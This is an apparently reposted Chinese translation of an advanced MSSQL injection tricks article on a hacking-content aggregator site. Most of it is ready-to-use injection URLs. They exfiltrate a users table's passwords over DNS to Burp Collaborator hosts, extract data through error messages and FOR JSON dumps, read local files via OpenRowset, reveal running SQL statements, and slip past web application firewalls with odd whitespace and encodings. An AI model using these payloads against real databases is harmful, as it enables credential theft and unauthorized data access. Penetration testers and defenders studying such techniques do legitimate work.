记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

[翻译]一些MSSQL注入的Tricks

2020-11-29 15:34

本文为翻译文章

原文:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

作者:PT SWARM Team

我们汇总了几种MSSQL注入利用的技术。所有payload均在三个最新版本的Microsoft SQL Server上进行了测试:2019、2017、2016SP2。

DNS带外

如果你碰到的是完完全全的盲注,或者没有回显的堆叠注入,你可以使用fn_xe_file_target_read_filefn_get_audit_filefn_trace_gettable进行oob带外。

fn_xe_file_target_read_file() 例:

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

权限:在服务器上需要“VIEW SERVER STATE”权限。

fn_get_audit_file() 例:

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

权限:需要CONTROL SERVER权限

fn_trace_gettable() example:

https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

权限:需要CONTROL SERVER权限

替换测试报错注入的变量

基于错误的SQL注入通常类似于+AND+1=@@version–之类的构造以及基于OR运算符的变体。包含此类表达式的查询通常被WAF阻止。作为bypass,使用%2b字符连接字符串,并使用特定函数调用的结果,这些函数会触发所需数据的数据类型转换错误。

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

快速利用:在一个查询中检索整个表

有两种简单的方法可以在一个查询中检索表的全部内容-使用FOR XML或FOR JSON子句。FOR XML子句需要指定的模式,例如«raw»,因此简短起见,FOR JSON胜过它。

从当前数据库检索模式,表和列的查询:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

基于错误的向量需要别名或名称,因为不能将两者的表达式输出格式化为JSON。

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

读取本地文件

C:\Windows\win.ini使用函数OpenRowset()检索本地文件的示例:

https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:\Windows\win.ini’,SINGLE_CLOB)+R(x)),null,null

基于错误的向量:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

权限: BULK选项需要ADMINISTER BULK OPERATIONS或ADMINISTER DATABASE BULK OPERATIONS权限。

爆出当前SQL语句

当前执行的SQL语句可以从sys.dm_exec_requestssys.dm_exec_sql_text中查询:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

权限:如果用户在服务器上具有“查看服务器状态”权限,则该用户将在SQL Server实例上看到所有正在执行的会话;否则,用户将仅看到当前会话。

WAF绕过的小技巧

非标准的空白字符:%C2%85 или %C2%A0

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

科学(0e)和十六进制(0x)表示法,用于混淆UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
 
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

在FROM和列名之间用代替空格:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

SELECT和一次性列之间的\N分隔符:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

 

分享、点赞、看就是对我们的一种支持!



知识来源: https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&mid=2247485359&idx=1&sn=b6f3376f138c4330db01408c27be923d&chksm=fbb9fe4dccce775bfc6a67d021633253d51149f144f583771ebbe66539f4c9aa2a25582ca25c&scene=27&k

阅读:146644 | 评论:0 | 标签:注入 SQL

想收藏或者和大家分享这篇好文章→复制链接地址

“[翻译]一些MSSQL注入的Tricks”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云